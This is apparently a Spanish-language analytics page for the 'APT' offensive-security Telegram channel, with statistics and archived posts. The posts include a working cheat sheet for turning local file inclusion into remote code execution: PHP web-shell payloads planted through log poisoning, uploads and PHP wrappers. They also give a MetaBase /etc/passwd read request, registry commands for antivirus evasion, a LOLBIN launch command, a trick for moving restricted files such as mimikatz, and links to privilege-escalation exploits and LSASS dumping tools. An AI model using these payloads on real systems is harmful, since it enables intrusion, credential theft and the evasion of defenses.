es
Feedback
APT

APT

Ir al canal en Telegram

This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

Mostrar más
Rusia45 554Tecnologías y Aplicaciones8 834

📈 Análisis del canal de Telegram APT

El canal APT (@apt_notes) en el segmento lingüístico de Inglés es un actor destacado. Actualmente la comunidad reúne a 14 682 suscriptores, ocupando la posición 8 834 en la categoría Tecnologías y Aplicaciones y el puesto 45 554 en la región Rusia.

📊 Métricas de audiencia y dinámica

Desde su creación el невідомо, el proyecto ha mostrado un crecimiento acelerado, reuniendo a 14 682 suscriptores.

Según los últimos datos del 13 junio, 2026, el canal mantiene una actividad estable. En los últimos 30 días la variación de miembros fue de 414, y en las últimas 24 horas de 17, conservando un alto alcance.

  • Estado de verificación: No verificado
  • Tasa de interacción (ER): El promedio de interacción de la audiencia es 50.76%. Durante las primeras 24 horas tras publicar, el contenido suele obtener N/A% de reacciones respecto al total de suscriptores.
  • Alcance de las publicaciones: Cada publicación recibe en promedio 7 449 visualizaciones. En el primer día suele acumular 0 visualizaciones.
  • Reacciones e interacción: La audiencia responde de forma activa: el promedio de reacciones por publicación es 20.

📝 Descripción y política de contenido

El autor describe el recurso como un espacio para expresar opiniones subjetivas:
“This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat”

Gracias a la alta frecuencia de actualizaciones (últimos datos recibidos el 14 junio, 2026), el canal mantiene la vigencia y un amplio alcance. La analítica demuestra que la audiencia interactúa activamente con el contenido, lo que lo convierte en un punto de referencia dentro de la categoría Tecnologías y Aplicaciones.

14 682
Suscriptores
+1724 horas
+1027 días
+41430 días
Archivo de publicaciones
APT
APT
14 682

APT
APT
14 682
Achieving LFI to RCE 1. Apache Log Poisoning GET /show.php?file=/var/log/apache2/access.log&c=ls HTTP/1.1 User-Agent: <?php system($_GET['c'])?> 2. SSH Log Poisoning ssh '<?php system($_GET['c'])?>'@target.com /show.php?file=/var/log/auth.log&c=ls 3. SMTP Log Poisoning telnet target(.)com 25 MAIL FROM:<test@example.com> RCPT TO:<?php system($_GET['c'])?> /show.php?file=/var/log/mail.log&c=ls 4. Image Upload exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg /show.php?file=../img.jpg&c=ls 5. /proc/self/environ GET /show.php?file=../../proc/self/environ&c=ls HTTP/1.1 User-Agent: <?php system($_GET['c'])?> 6. php://filter Read source code, it may contain sensitive data (username/passwords, private keys etc)->RCE php://filter/convert.base64-encode/resource=index.php php://filter/read=string.rot13/resource=index.php "php://filter" is case insensitive. Try URL/Double encoding 7. Zip upload echo "<?php system($_GET['c'])?>" > shell.php zip shell(.)zip shell.php mv shell(.)zip shell.jpg rm shell.php /show.php?file=zip://shell.jpg%23shell.php 8. data://text/plain /show.php?file=data://text/plain,<?php echo base64_encode(file_get_contents("index.php"))?> /show.php?file=data://text/plain,<?php phpinfo()?> /show.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pO2VjaG8gJ3NoZWxsISc7Pz4= 9. /proc/self/fd/{id} Include shell in headers (User-Agent, Authorisation, Referrer etc) and access /proc/self/fd/{id} 10. expect:// /show.php?page=expect://ls 11. input:// POST /index.php?page=php://input HTTP/1.1 <?php system('ls')?> 12. RCE via vulnerable assert statement Vulnerable Code: assert("strpos('$file', '..') === false") or die("Hacker!"); Payload: ' and die(system("whoami")) or ' 13. Log files /var/log/apache/{access.log or error.log} /var/log/apache2/error.log /usr/local/{apache or apache2}/log/error_log /var/log/nginx/{access.log or error.log} /var/log/httpd/error_log Insert payload via headers (User-Agent, Authorisation, Referrer etc) 14. Via PHP sessions https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/ 15. Via SSH If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access <HOME>/.ssh/id_rsa 16. vsftpd Log Poisoning Try to login (ftp) with the PHP payload in the username and access /var/log/vsftpd.log 17. Automation https://github.com/D35m0nd142/LFISuite #lfi #rce #cheatsheet

APT
APT
14 682
LOLBIN(s): mpiexec.exe & smpd.exe Path: C:\Program Files\Microsoft MPI\Bin mpiexec.exe spawns smpd.exe which then spawns an e
+1
LOLBIN(s): mpiexec.exe & smpd.exe Path: 
C:\Program Files\Microsoft MPI\Bin
mpiexec.exe spawns smpd.exe which then spawns an executable. Usage: 
mpiexec.exe -n 1 c:\path\to\binary.exe
#lolbin #mpiexec #redteam

APT
APT
14 682
LOLBIN(s): mpiexec.exe & smpd.exe Path: C:\Program Files\Microsoft MPI\Bin mpiexec.exe spawns smpd.exe which then spawns an executable. Usage: mpiexec.exe -n 1 c:\path\to\binary.exe

APT
APT
14 682
CVE-2021-43267 — Linux TIPC (PoC) An article on how to escalate privileges via the slab-buffer-overflow in the Transparent Inter-Process Communication (TIPC) module. Reference: https://haxx.in/posts/pwning-tipc/ PoC: https://github.com/ohnonoyesyes/CVE-2021-43267 #poc #cve #linux #lpe

APT
APT
14 682
EfsPotato MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability https://github.com/zcgonvh/EfsPotato #potato #seImpersonateprivilege #lpe

APT
APT
14 682

APT
APT
14 682
4-ZERO-3 Tool to bypass 403/401. This script contain all the possible techniques to do the same. https://github.com/Dheerajmadhukar/4-ZERO-3 #forbidden #bypass #bugbounty

APT
APT
14 682
CVE Trends CVE Trends gathers crowdsourced intel about CVEs from Twitter's filtered stream API and combines it with data from
CVE Trends CVE Trends gathers crowdsourced intel about CVEs from Twitter's filtered stream API and combines it with data from NIST's NVD and GitHub APIs. https://cvetrends.com #cve #trends #monitor

APT
APT
14 682

APT
APT
14 682
Outlook Attachments Attackers can compose an email on Outlook (or O365) and attach a file and then use the file's download li
Outlook Attachments Attackers can compose an email on Outlook (or O365) and attach a file and then use the file's download link to directly download the file. Restricted file types would first need to have their file extension modified (e.g. mimikatz.exe becomes mimikatz.exe.txt) and then upon download the file extension is modified back to the original extension. 
1. Compose an email
2. Attach a file (add .txt to the end if it's a restricted file type)
3. Click on the file to download it and grab the link (attachment.outlook.live.net or attachment.office.net)
Link is valid for ~15 minutes. #outlook #attachments #redteam #phishing

APT
APT
14 682
pyKerbrute Use Python to quickly brute force and enumerate valid Active Directory accounts through Kerberos Pre-Authentication (supports Pass-the-Hash) https://github.com/3gstudent/pyKerbrute #ad #kerberos #spray

APT
APT
14 682
Clipboard Shellcode Injection https://gist.github.com/Wra7h/69a03c802ae6977e74b1152a4b004515 #clipboard #shellcode #injection #redteam #maldev

APT
APT
14 682
Picky PPID Spoofing Parent Process ID (PPID) Spoofing is one of the techniques employed by malware authors to blend in the target system. This is done by making the malicious process look like it was spawned by another process. This helps evade detections that are based on anomalous parent-child process relationships. https://capt-meelo.github.io//redteam/maldev/2021/11/22/picky-ppid-spoofing.html #pid #spoofing #redteam #maldev #malware

APT
APT
14 682
InfoSec BlackFriday Offers - Books - Courses - Services - Software - Hardware https://github.com/0x90n/InfoSec-Black-Friday #
InfoSec BlackFriday Offers - Books - Courses - Services - Software - Hardware https://github.com/0x90n/InfoSec-Black-Friday #BlackFriday #InfoSec

APT
APT
14 682
DumpNParse DumpNParse is a tool that will automatically dump LSASS and parse the results. https://github.com/icyguider/DumpNParse #lsass #dump #parse

APT
APT
14 682
Windows installer LPE 0day https://github.com/klinix5/InstallerFileTakeOver #windows #lpe #0day

APT
APT
14 682
Bypass AV via Change Filenames/Extension You need to change the files extension: .eyb files as .exe .faq files as .dll Use th
Bypass AV via Change Filenames/Extension You need to change the files extension: .eyb files as .exe .faq files as .dll Use the following commands: 
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.eyb /f /ve /t REG_SZ /d exefile
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.eyb /f /v "Content Type" /t REG_SZ /d "application/x-msdownload"
This can also work on other security solutions and for many other blacklisted techniques. #av #evasion #extension #file

APT
APT
14 682
Microsoft Exchange Server RCE (PoC) This PoC just pop mspaint.exe on the target, can be use to recognize the signature pattern of a successful attack event https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398 #exchange #rce #poc

APT
APT
14 682
CVE-2021-41277 MetaBase Arbitrary File Read PoC: GET /api/geojson?url=file:/etc/passwd HTTP/1.1 #metabase #cve #poc
CVE-2021-41277 MetaBase Arbitrary File Read PoC: GET /api/geojson?url=file:/etc/passwd HTTP/1.1 #metabase #cve #poc

APT - Estadísticas y analítica del canal de Telegram @apt_notes